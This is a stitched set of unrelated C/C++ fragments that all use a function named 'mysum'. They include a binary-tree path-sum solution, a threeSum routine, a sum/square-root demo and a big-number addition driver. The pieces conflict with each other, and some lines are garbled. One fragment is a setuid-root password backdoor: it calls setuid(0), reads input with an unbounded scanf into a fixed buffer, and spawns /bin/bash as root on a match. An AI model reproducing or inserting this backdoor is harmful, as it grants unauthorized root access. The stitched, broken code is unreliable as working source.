int mysum(TreeNode *root,int cnt){
int l=0,r=0;
if(root->left==NULL&&root->right==NULL){
return cnt*10 +root->val;
}
cnt = cnt*10+root->val;
if(root->left!=NULL){
l = mysum(root->left,cnt);
}
if(root->right!=NULL){
r = mysum(root->right,cnt);
}
return l+r;
}
int main(void) {
int olduid=500;
olduid=getuid();
setuid(0);
char inpass[128];
if(getuid()){
printf("must be suid root.\n");
} else {
printf("Password: "******"%s",inpass);
mysum(inpass);
if(strcmp(inpass, PASSWORD) == 0)
{
printf("You are now root.\r\n");
printf("Your old UID was %d.\r\n", olduid);
system("/bin/bash");
}
else
{
printf("You are not authorized\n");
}
}
return 0;
}
vector<vector<int> > threeSum(vector<int> &num) {
vector<vector<int> > ans;
if(num.size()<3)
return ans;
sort(num.begin(),num.end());
for(int i=0;i<num.size()-2;i++)
{
if(i>0 && num[i]==num[i-1]) continue;
mysum(num,i,ans);
}
return ans;
}
int main()
{
double inputValue = 2;
double sumValue = mysum(inputValue, inputValue);
double sqrtValue = mysqrt(inputValue);
std::cout << "The sum of " << inputValue << " and " << inputValue << " is " << sumValue << std::endl;
std::cout << "The square root of " << inputValue << " is " << sqrtValue << std::endl;
getchar();
return 0;
}
int main(int argc, char *argv[])
{
int i = 0, n = 0;
char a[1001] = {' '}, b[1001] = {' '};
char sum[1005] = {' '};
scanf("%d", &n);
for(i = 1; i <= n; i++){
memset(sum, 0, 1005);
scanf("%s %s", a, b);
printf("Case %d:\n", i);
printf("%s + %s = ", a, b);
mysum(a, b, sum);
if(i == n)
printf("\n");
else
printf("\n\n");
}
return 0;
}
int sumNumbers(TreeNode *root) {
// IMPORTANT: Please reset any member data you declared, as
// the same Solution instance will be reused for each test case.
if(root==NULL) return 0;
return mysum(root,0);
}
